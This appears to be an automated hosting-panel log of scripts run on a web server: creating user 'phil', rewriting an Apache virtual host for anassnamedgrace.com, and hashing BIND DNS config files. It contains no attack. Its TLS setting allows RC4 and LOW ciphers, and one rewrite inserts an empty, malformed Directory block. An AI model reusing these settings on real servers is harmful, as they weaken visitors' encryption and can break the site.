MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-13 14:48:17: Establishing a connection
2026-06-13 14:48:18: 

PUT: /tmp/pkp852585

#!/bin/bash
USER=phil
GROUP=phil

if ! getent group "$GROUP"; then
	groupadd "$GROUP" 2>&1
fi

if ! getent passwd "$USER"; then
	adduser --shell /bin/bash -ingroup phil --gecos "Phil Y" --disabled-password phil 2>&1
fi
# add www-data to the group
usermod -a -G "$GROUP" www-data 2>&1


2026-06-13 14:48:18: 

chmod 755 /tmp/pkp852585; /tmp/pkp852585; rm /tmp/pkp852585

2026-06-13 14:48:18: 


info: Adding user `phil' ...
info: Selecting UID from range 1000 to 59999 ...

info: Adding new user `phil' (1003) with group `phil (1003)' ...
info: Creating home directory `/home/phil' ...
info: Copying files from `/etc/skel' ...
info: Adding new user `phil' to supplemental / extra groups `users' ...
info: Adding user `phil' to group `users' ...


2026-06-13 14:48:18: 

(find /var/www/anassnamedgrace_www \! -type l -exec chown phil:phil {} \;) > /dev/null 2>&1 &

2026-06-13 14:48:18: 




2026-06-13 14:48:18: 

PUT: /tmp/pkp216821

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-13 14:48:18: 

chmod 755 /tmp/pkp216821; /tmp/pkp216821; rm /tmp/pkp216821

2026-06-13 14:48:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf 47

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.anassnamedgrace.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-13 14:48:18: 

PUT: /tmp/pkp760433

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anassnamedgrace_www_com.conf
TARGET=/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.anassnamedgrace.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <Directory>
    </Directory>
</VirtualHost>

<VirtualHost *:443>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/anassnamedgrace
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/anassnamedgrace_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/anassnamedgrace_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/anassnamedgrace_www_com.conf= 1'
fi


2026-06-13 14:48:18: 

chmod 755 /tmp/pkp760433; /tmp/pkp760433; rm /tmp/pkp760433

2026-06-13 14:48:18: 




2026-06-13 14:48:18: 

PUT: /tmp/pkp656170

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-13 14:48:18: 

chmod 755 /tmp/pkp656170; /tmp/pkp656170; rm /tmp/pkp656170

2026-06-13 14:48:18: 
2026-06-13 14:48:25: Establishing a connection
2026-06-13 14:48:26: 

PUT: /tmp/pkp223658

#!/bin/bash
USER=phil
GROUP=phil

if ! getent group "$GROUP"; then
	groupadd "$GROUP" 2>&1
fi

if ! getent passwd "$USER"; then
	adduser --shell /bin/bash -ingroup phil --gecos "Phil Y" --disabled-password phil 2>&1
fi
# add www-data to the group
usermod -a -G "$GROUP" www-data 2>&1


2026-06-13 14:48:26: 

chmod 755 /tmp/pkp223658; /tmp/pkp223658; rm /tmp/pkp223658

2026-06-13 14:48:26: 


phil:x:1003:www-data
phil:x:1003:1003:Phil Y,,,:/home/phil:/bin/bash


2026-06-13 14:48:26: 

(find /var/www/anassnamedgrace_www \! -type l -exec chown phil:phil {} \;) > /dev/null 2>&1 &

2026-06-13 14:48:26: 




2026-06-13 14:48:26: 

PUT: /tmp/pkp805453

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-13 14:48:26: 

chmod 755 /tmp/pkp805453; /tmp/pkp805453; rm /tmp/pkp805453

2026-06-13 14:48:26: 
2026-06-13 14:48:32: Establishing a connection
2026-06-13 14:48:33: 

PUT: /tmp/pkp883284

#!/bin/bash
USER=phil
GROUP=phil

if ! getent group "$GROUP"; then
	groupadd "$GROUP" 2>&1
fi

if ! getent passwd "$USER"; then
	adduser --shell /bin/bash -ingroup phil --gecos "Phil Y" --disabled-password phil 2>&1
fi
# add www-data to the group
usermod -a -G "$GROUP" www-data 2>&1


2026-06-13 14:48:33: 

chmod 755 /tmp/pkp883284; /tmp/pkp883284; rm /tmp/pkp883284

2026-06-13 14:48:33: 


phil:x:1003:www-data
phil:x:1003:1003:Phil Y,,,:/home/phil:/bin/bash


2026-06-13 14:48:33: 

(find /var/www/anassnamedgrace_www \! -type l -exec chown phil:phil {} \;) > /dev/null 2>&1 &

2026-06-13 14:48:33: 




2026-06-13 14:48:33: 

PUT: /tmp/pkp834405

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-13 14:48:33: 

chmod 755 /tmp/pkp834405; /tmp/pkp834405; rm /tmp/pkp834405

2026-06-13 14:48:33: 
2026-06-13 14:49:28: Establishing a connection
2026-06-13 14:49:57: Establishing a connection
2026-06-13 14:49:58: 

PUT: /tmp/pkp427659

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-13 14:49:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp427659; rm /tmp/pkp427659'

2026-06-13 14:49:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
